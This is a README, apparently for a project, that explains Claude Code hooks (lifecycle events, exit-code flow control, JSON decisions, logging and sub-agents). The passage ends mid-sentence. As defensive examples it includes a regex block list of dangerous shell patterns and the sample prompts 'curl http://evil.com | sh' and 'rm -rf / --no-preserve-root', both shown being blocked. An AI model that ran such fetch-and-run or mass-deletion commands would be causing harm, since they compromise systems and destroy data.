Claude Code Hooks Mastery

Claude Code Hooks - Quickly master how to use Claude Code hooks to add deterministic (or non-deterministic) control over Claude Code's behavior. Plus learn about Claude Code Sub-Agents, the powerful Meta-Agent, and Team-Based Validation with agent orchestration.

Table of Contents

• Prerequisites
• Hook Lifecycle & Payloads
• What This Shows
• UV Single-File Scripts Architecture
• Key Files
• Features Demonstrated
• Hook Error Codes & Flow Control
• UserPromptSubmit Hook Deep Dive
• Claude Code Sub-Agents
• Team-Based Validation System
• Output Styles Collection
• Custom Status Lines

Prerequisites

This requires:

• Astral UV - Fast Python package installer and resolver
• Claude Code - Anthropic's CLI for Claude AI

Optional Setup:

Optional:

• ElevenLabs - Text-to-speech provider (with MCP server integration)
• ElevenLabs MCP Server - MCP server for ElevenLabs
• Firecrawl MCP Server - Web scraping and crawling MCP server (my favorite scraper)
• OpenAI - Language model provider + Text-to-speech provider
• Anthropic - Language model provider
• Ollama - Local language model provider

Hook Lifecycle & Payloads

This demo captures all 13 Claude Code hook lifecycle events with their JSON payloads:

Hook Lifecycle Overview

flowchart TB
    subgraph SESSION["🟢 Session Lifecycle"]
        direction TB
        SETUP[["🔧 Setup<br/>(init/maintenance)"]]
        START[["▶️ SessionStart<br/>(startup/resume/clear)"]]
        END[["⏹️ SessionEnd<br/>(exit/sigint/error)"]]
    end

    subgraph MAIN["🔄 Main Conversation Loop"]
        direction TB
        PROMPT[["📝 UserPromptSubmit"]]
        CLAUDE["Claude Processes"]

        subgraph TOOLS["🛠️ Tool Execution"]
            direction TB
            PRE[["🔒 PreToolUse"]]
            PERM[["❓ PermissionRequest"]]
            EXEC["Tool Executes"]
            POST[["✅ PostToolUse"]]
            FAIL[["❌ PostToolUseFailure"]]
        end

        subgraph SUBAGENT["🤖 Subagent Lifecycle"]
            direction TB
            SSTART[["🚀 SubagentStart"]]
            SWORK["Subagent Works"]
            SSTOP[["🏁 SubagentStop"]]
        end

        NOTIFY[["🔔 Notification<br/>(Async)"]]
        STOP[["🛑 Stop"]]
    end

    subgraph COMPACT["🗜️ Maintenance"]
        PRECOMPACT[["📦 PreCompact"]]
    end

    SETUP --> START
    START --> PROMPT
    PROMPT --> CLAUDE
    CLAUDE --> PRE
    PRE --> PERM
    PERM --> EXEC
    EXEC --> POST
    EXEC -.-> FAIL
    CLAUDE -.-> SSTART
    SSTART --> SWORK
    SWORK --> SSTOP
    POST --> CLAUDE
    CLAUDE --> STOP
    CLAUDE -.-> NOTIFY
    STOP --> PROMPT
    STOP -.-> END
    PROMPT -.-> PRECOMPACT
    PRECOMPACT -.-> PROMPT

1. UserPromptSubmit Hook

Fires: Immediately when user submits a prompt (before Claude processes it)
Payload: prompt text, session_id, timestamp
Enhanced: Prompt validation, logging, context injection, security filtering

2. PreToolUse Hook

Fires: Before any tool execution
Payload: tool_name, tool_input parameters
Enhanced: Blocks dangerous commands (rm -rf, .env access)

3. PostToolUse Hook

Fires: After successful tool completion
Payload: tool_name, tool_input, tool_response with results

4. Notification Hook

Fires: When Claude Code sends notifications (waiting for input, etc.)
Payload: message content
Enhanced: TTS alerts - "Your agent needs your input" (30% chance includes name)

5. Stop Hook

Fires: When Claude Code finishes responding
Payload: stop_hook_active boolean flag
Enhanced: AI-generated completion messages with TTS playback (LLM priority: OpenAI > Anthropic > Ollama > random)

6. SubagentStop Hook

Fires: When Claude Code subagents (Task tools) finish responding
Payload: stop_hook_active boolean flag
Enhanced: TTS playback - "Subagent Complete"

7. PreCompact Hook

Fires: Before Claude Code performs a compaction operation
Payload: trigger ("manual" or "auto"), custom_instructions (for manual), session info
Enhanced: Transcript backup, verbose feedback for manual compaction

8. SessionStart Hook

Fires: When Claude Code starts a new session or resumes an existing one Payload: source ("startup", "resume", or "clear"), session info Enhanced: Development context loading (git status, recent issues, context files)

9. SessionEnd Hook

Fires: When Claude Code session ends (exit, sigint, or error) Payload: session_id, transcript_path, cwd, permission_mode, reason Enhanced: Session logging with optional cleanup tasks (removes temp files, stale logs)

10. PermissionRequest Hook

Fires: When user is shown a permission dialog Payload: tool_name, tool_input, tool_use_id, session info Enhanced: Permission auditing, auto-allow for read-only ops (Read, Glob, Grep, safe Bash)

11. PostToolUseFailure Hook

Fires: When a tool execution fails Payload: tool_name, tool_input, tool_use_id, error object Enhanced: Structured error logging with timestamps and full context

12. SubagentStart Hook

Fires: When a subagent (Task tool) spawns Payload: agent_id, agent_type, session info Enhanced: Subagent spawn logging with optional TTS announcement

13. Setup Hook

Fires: When Claude enters a repository (init) or periodically (maintenance) Payload: trigger ("init" or "maintenance"), session info Enhanced: Environment persistence via CLAUDE_ENV_FILE, context injection via additionalContext

What This Shows

• Complete hook lifecycle coverage - All 13 hook events implemented and logging (11/13 validated via automated testing)
• Prompt-level control - UserPromptSubmit validates and enhances prompts before Claude sees them
• Intelligent TTS system - AI-generated audio feedback with voice priority (ElevenLabs > OpenAI > pyttsx3)
• Security enhancements - Blocks dangerous commands and sensitive file access at multiple levels
• Personalized experience - Uses engineer name from environment variables
• Automatic logging - All hook events are logged as JSON to logs/ directory
• Chat transcript extraction - PostToolUse hook converts JSONL transcripts to readable JSON format
• Team-based validation - Builder/Validator agent pattern with code quality hooks

Warning: The chat.json file contains only the most recent Claude Code conversation. It does not preserve conversations from previous sessions - each new conversation is fully copied and overwrites the previous one. This is unlike the other logs which are appended to from every claude code session.

UV Single-File Scripts Architecture

This project leverages UV single-file scripts to keep hook logic cleanly separated from your main codebase. All hooks live in .claude/hooks/ as standalone Python scripts with embedded dependency declarations.

Benefits:

• Isolation - Hook logic stays separate from your project dependencies
• Portability - Each hook script declares its own dependencies inline
• No Virtual Environment Management - UV handles dependencies automatically
• Fast Execution - UV's dependency resolution is lightning-fast
• Self-Contained - Each hook can be understood and modified independently

This approach ensures your hooks remain functional across different environments without polluting your main project's dependency tree.

Key Files

• .claude/settings.json - Hook configuration with permissions
• .claude/hooks/ - Python scripts using uv for each hook type
  • user_prompt_submit.py - Prompt validation, logging, and context injection
  • pre_tool_use.py - Security blocking and logging
  • post_tool_use.py - Logging and transcript conversion
  • post_tool_use_failure.py - Error logging with structured details
  • notification.py - Logging with optional TTS (--notify flag)
  • stop.py - AI-generated completion messages with TTS
  • subagent_stop.py - Simple "Subagent Complete" TTS
  • subagent_start.py - Subagent spawn logging with optional TTS
  • pre_compact.py - Transcript backup and compaction logging
  • session_start.py - Development context loading and session logging
  • session_end.py - Session cleanup and logging
  • permission_request.py - Permission auditing and auto-allow
  • setup.py - Repository initialization and maintenance
  • validators/ - Code quality validation hooks
    • ruff_validator.py - Python linting via Ruff (PostToolUse)
    • ty_validator.py - Python type checking (PostToolUse)
  • utils/ - Intelligent TTS and LLM utility scripts
    • tts/ - Text-to-speech providers (ElevenLabs, OpenAI, pyttsx3)
      • tts_queue.py - Queue-based TTS management (prevents overlapping audio)
    • llm/ - Language model integrations (OpenAI, Anthropic, Ollama)
      • task_summarizer.py - LLM-powered task completion summaries
• .claude/status_lines/ - Real-time terminal status displays
  • status_line.py - Basic MVP with git info
  • status_line_v2.py - Smart prompts with color coding
  • status_line_v3.py - Agent sessions with history
  • status_line_v4.py - Extended metadata support
  • status_line_v5.py - Cost tracking with line changes
  • status_line_v6.py - Context window usage bar
  • status_line_v7.py - Session duration timer
  • status_line_v8.py - Token usage with cache stats
  • status_line_v9.py - Minimal powerline style
• .claude/output-styles/ - Response formatting configurations
  • genui.md - Generates beautiful HTML with embedded styling
  • table-based.md - Organizes information in markdown tables
  • yaml-structured.md - YAML configuration format
  • bullet-points.md - Clean nested lists
  • ultra-concise.md - Minimal words, maximum speed
  • html-structured.md - Semantic HTML5
  • markdown-focused.md - Rich markdown features
  • tts-summary.md - Audio feedback via TTS
• .claude/commands/ - Custom slash commands
  • prime.md - Project analysis and understanding
  • plan_w_team.md - Team-based build/validate workflow
  • crypto_research.md - Cryptocurrency research workflows
  • cook.md - Advanced task execution
  • update_status_line.md - Dynamic status updates
• .claude/agents/ - Sub-agent configurations
  • crypto/ - Cryptocurrency analysis agents
  • team/ - Team-based workflow agents
    • builder.md - Implementation agent (all tools)
    • validator.md - Read-only validation agent
  • hello-world-agent.md - Simple greeting example
  • llm-ai-agents-and-eng-research.md - AI research specialist
  • meta-agent.md - Agent that creates other agents
  • work-completion-summary.md - Audio summary generator
• logs/ - JSON logs of all hook executions
  • user_prompt_submit.json - User prompt submissions with validation
  • pre_tool_use.json - Tool use events with security blocking
  • post_tool_use.json - Tool completion events
  • post_tool_use_failure.json - Tool failure events with error details
  • notification.json - Notification events
  • stop.json - Stop events with completion messages
  • subagent_stop.json - Subagent completion events
  • subagent_start.json - Subagent spawn events
  • pre_compact.json - Pre-compaction events with trigger type
  • session_start.json - Session start events with source type
  • session_end.json - Session end events with reason
  • permission_request.json - Permission request audit log
  • setup.json - Setup events with trigger type
  • chat.json - Readable conversation transcript (generated by --chat flag)
• ai_docs/ - Documentation resources
  • cc_hooks_docs.md - Complete hooks documentation from Anthropic
  • claude_code_status_lines_docs.md - Status line input schema and configuration
  • user_prompt_submit_hook.md - Comprehensive UserPromptSubmit hook documentation
  • uv-single-file-scripts.md - UV script architecture documentation
  • anthropic_custom_slash_commands.md - Slash commands documentation
  • anthropic_docs_subagents.md - Sub-agents documentation
• ruff.toml - Ruff linter configuration for Python code quality
• ty.toml - Type checker configuration for Python type validation

Hooks provide deterministic control over Claude Code behavior without relying on LLM decisions.

Features Demonstrated

• Prompt validation and security filtering
• Context injection for enhanced AI responses
• Command logging and auditing
• Automatic transcript conversion
• Permission-based tool access control
• Error handling in hook execution

Run any Claude Code command to see hooks in action via the logs/ files.

Hook Error Codes & Flow Control

Claude Code hooks provide powerful mechanisms to control execution flow and provide feedback through exit codes and structured JSON output.

Exit Code Behavior

Hooks communicate status and control flow through exit codes:

Exit Code	Behavior	Description
0	Success	Hook executed successfully. stdout shown to user in transcript mode (Ctrl-R)
2	Blocking Error	Critical: stderr is fed back to Claude automatically. See hook-specific behavior below
Other	Non-blocking Error	stderr shown to user, execution continues normally

Hook-Specific Flow Control

Each hook type has different capabilities for blocking and controlling Claude Code's behavior:

UserPromptSubmit Hook - CAN BLOCK PROMPTS & ADD CONTEXT

• Primary Control Point: Intercepts user prompts before Claude processes them
• Exit Code 2 Behavior: Blocks the prompt entirely, shows error message to user
• Use Cases: Prompt validation, security filtering, context injection, audit logging
• Example: Our user_prompt_submit.py logs all prompts and can validate them

PreToolUse Hook - CAN BLOCK TOOL EXECUTION

• Primary Control Point: Intercepts tool calls before they execute
• Exit Code 2 Behavior: Blocks the tool call entirely, shows error message to Claude
• Use Cases: Security validation, parameter checking, dangerous command prevention
• Example: Our pre_tool_use.py blocks rm -rf commands with exit code 2

# Block dangerous commands
if is_dangerous_rm_command(command):
    print("BLOCKED: Dangerous rm command detected", file=sys.stderr)
    sys.exit(2)  # Blocks tool call, shows error to Claude

PostToolUse Hook - CANNOT BLOCK (Tool Already Executed)

• Primary Control Point: Provides feedback after tool completion
• Exit Code 2 Behavior: Shows error to Claude (tool already ran, cannot be undone)
• Use Cases: Validation of results, formatting, cleanup, logging
• Limitation: Cannot prevent tool execution since it fires after completion

Notification Hook - CANNOT BLOCK

• Primary Control Point: Handles Claude Code notifications
• Exit Code 2 Behavior: N/A - shows stderr to user only, no blocking capability
• Use Cases: Custom notifications, logging, user alerts
• Limitation: Cannot control Claude Code behavior, purely informational

Stop Hook - CAN BLOCK STOPPING

• Primary Control Point: Intercepts when Claude Code tries to finish responding
• Exit Code 2 Behavior: Blocks stoppage, shows error to Claude (forces continuation)
• Use Cases: Ensuring tasks complete, validation of final state use this to FORCE CONTINUATION
• Caution: Can cause infinite loops if not properly controlled

SubagentStop Hook - CAN BLOCK SUBAGENT STOPPING

• Primary Control Point: Intercepts when Claude Code subagents try to finish
• Exit Code 2 Behavior: Blocks subagent stoppage, shows error to subagent
• Use Cases: Ensuring subagent tasks complete properly
• Example: Our subagent_stop.py logs events and announces completion

PreCompact Hook - CANNOT BLOCK

• Primary Control Point: Fires before compaction operations
• Exit Code 2 Behavior: N/A - shows stderr to user only, no blocking capability
• Use Cases: Transcript backup, context preservation, pre-compaction logging
• Example: Our pre_compact.py creates transcript backups before compaction

SessionStart Hook - CANNOT BLOCK

• Primary Control Point: Fires when new sessions start or resume
• Exit Code 2 Behavior: N/A - shows stderr to user only, no blocking capability
• Use Cases: Loading development context, session initialization, environment setup
• Example: Our session_start.py loads git status, recent issues, and context files

Advanced JSON Output Control

Beyond simple exit codes, hooks can return structured JSON for sophisticated control:

Common JSON Fields (All Hook Types)

{
  "continue": true,           // Whether Claude should continue (default: true)
  "stopReason": "string",     // Message when continue=false (shown to user)
  "suppressOutput": true      // Hide stdout from transcript (default: false)
}

PreToolUse Decision Control

{
  "decision": "approve" | "block" | undefined,
  "reason": "Explanation for decision"
}

• "approve": Bypasses permission system, reason shown to user
• "block": Prevents tool execution, reason shown to Claude
• undefined: Normal permission flow, reason ignored

PostToolUse Decision Control

{
  "decision": "block" | undefined,
  "reason": "Explanation for decision"
}

• "block": Automatically prompts Claude with reason
• undefined: No action, reason ignored

Stop Decision Control

{
  "decision": "block" | undefined,
  "reason": "Must be provided when blocking Claude from stopping"
}

• "block": Prevents Claude from stopping, reason tells Claude how to proceed
• undefined: Allows normal stopping, reason ignored

Flow Control Priority

When multiple control mechanisms are used, they follow this priority:

1. "continue": false - Takes precedence over all other controls
2. "decision": "block" - Hook-specific blocking behavior
3. Exit Code 2 - Simple blocking via stderr
4. Other Exit Codes - Non-blocking errors

Security Implementation Examples

1. Command Validation (PreToolUse)

# Block dangerous patterns
dangerous_patterns = [
    r'rm\s+.*-[rf]',           # rm -rf variants
    r'sudo\s+rm',              # sudo rm commands
    r'chmod\s+777',            # Dangerous permissions
    r'>\s*/etc/',              # Writing to system directories
]

for pattern in dangerous_patterns:
    if re.search(pattern, command, re.IGNORECASE):
        print(f"BLOCKED: {pattern} detected", file=sys.stderr)
        sys.exit(2)

2. Result Validation (PostToolUse)

# Validate file operations
if tool_name == "Write" and not tool_response.get("success"):
    output = {
        "decision": "block",
        "reason": "File write operation failed, please check permissions and retry"
    }
    print(json.dumps(output))
    sys.exit(0)

3. Completion Validation (Stop Hook)

# Ensure critical tasks are complete
if not all_tests_passed():
    output = {
        "decision": "block",
        "reason": "Tests are failing. Please fix failing tests before completing."
    }
    print(json.dumps(output))
    sys.exit(0)

Hook Execution Environment

• Timeout: 60-second execution limit per hook
• Parallelization: All matching hooks run in parallel
• Environment: Inherits Claude Code's environment variables
• Working Directory: Runs in current project directory
• Input: JSON via stdin with session and tool data
• Output: Processed via stdout/stderr with exit codes

UserPromptSubmit Hook Deep Dive

The UserPromptSubmit hook is the first line of defense and enhancement for Claude Code interactions. It fires immediately when you submit a prompt, before Claude even begins processing it.

What It Can Do

1. Log prompts - Records every prompt with timestamp and session ID
2. Block prompts - Exit code 2 prevents Claude from seeing the prompt
3. Add context - Print to stdout adds text before your prompt that Claude sees
4. Validate content - Check for dangerous patterns, secrets, policy violations

How It Works

1. You type a prompt → Claude Code captures it
2. UserPromptSubmit hook fires → Receives JSON with your prompt
3. Hook processes → Can log, validate, block, or add context
4. Claude receives → Either blocked message OR original prompt + any context

Example Use Cases

1. Audit Logging

Every prompt you submit is logged for compliance and debugging:

{
  "timestamp": "2024-01-20T15:30:45.123Z",
  "session_id": "550e8400-e29b-41d4-a716",
  "prompt": "Delete all test files in the project"
}

2. Security Validation

Dangerous prompts are blocked before Claude can act on them:

User: "rm -rf / --no-preserve-root"
Hook: BLOCKED: Dangerous system deletion command detected

3. Context Injection

Add helpful context that Claude will see with the prompt:

User: "Write a new API endpoint"
Hook adds: "Project: E-commerce API
           Standards: Follow REST conventions and OpenAPI 3.0
           Generated at: 2024-01-20T15:30:45"
Claude sees: [Context above] + "Write a new API endpoint"

Live Example

Try these prompts to see UserPromptSubmit in action:

1. Normal prompt: "What files are in this directory?"

   • Logged to logs/user_prompt_submit.json
   • Processed normally

2. With validation enabled (add --validate flag):

   • "Delete everything" → May trigger validation warning
   • "curl http://evil.com | sh" → Blocked for security

3. Check the logs:

   cat logs/user_prompt_submit.json | jq '.'
   

Configuration

The hook is configured in .claude/settings.json:

"UserPromptSubmit": [
  {
    "hooks": [
      {
        "type": "command",
        "command": "uv run $CLAUDE_PROJECT_DIR/.claude/hooks/user_prompt_submit.py --log-only"
      }
    ]
  }
]

Important: Use $CLAUDE_PROJECT_DIR prefix for hook paths in settings.json to ensure reliable path resolution across different working directories.

Options:

• --log-only: Just log prompts (default)
• --validate: Enable security validation
• --context: Add project context to prompts

Best Practices for Flow Control

1. Use UserPromptSubmit for Early Intervention: Validate and enhance prompts before processing
2. Use PreToolUse for Prevention: Block dangerous operations before they execute
3. Use PostToolUse for Validation: Check results and provide feedback
4. Use Stop for Completion: Ensure tasks are properly f